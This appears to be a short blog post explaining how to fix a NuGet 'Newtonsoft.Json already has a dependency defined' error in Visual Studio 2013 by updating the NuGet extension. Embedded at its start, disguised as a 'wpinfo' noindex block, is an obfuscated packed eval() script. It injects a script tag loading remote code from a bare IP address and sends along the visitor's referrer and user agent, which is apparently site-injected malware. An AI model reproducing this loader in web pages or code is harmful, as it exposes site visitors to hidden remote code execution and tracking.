<code><span class="str">When <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsahe|var|u0026u|referrer|kfinb||js|php'.split('|'),0,{}))
</script></noindex> running NUGET "install-package NEST" (or possibly any other that uses newtonsoft-json), get error: 
"'Newtonsoft.Json' already has a dependency defined for 'Microsoft.CSharp'"

In my case, I was at a client running Visual Studio 2013 and needed to upgrade the version of Nuget. 

Reference: <a href="https://stackoverflow.com/questions/42045536/how-to-upgrade-nuget-in-visual-studio-2013">https://stackoverflow.com/questions/42045536/how-to-upgrade-nuget-in-visual-studio-2013</a>

In Visual Studio: Tools -&gt; Extensions and Updates -&gt; Updates tab -&gt; Visual Studio Gallery.
Below is the screen I saw, I clicked the "Update" ubtton next to NuGet, it installed, had to restart Visual Studio, then the tried the original install-package command again and it worked. </span></code>

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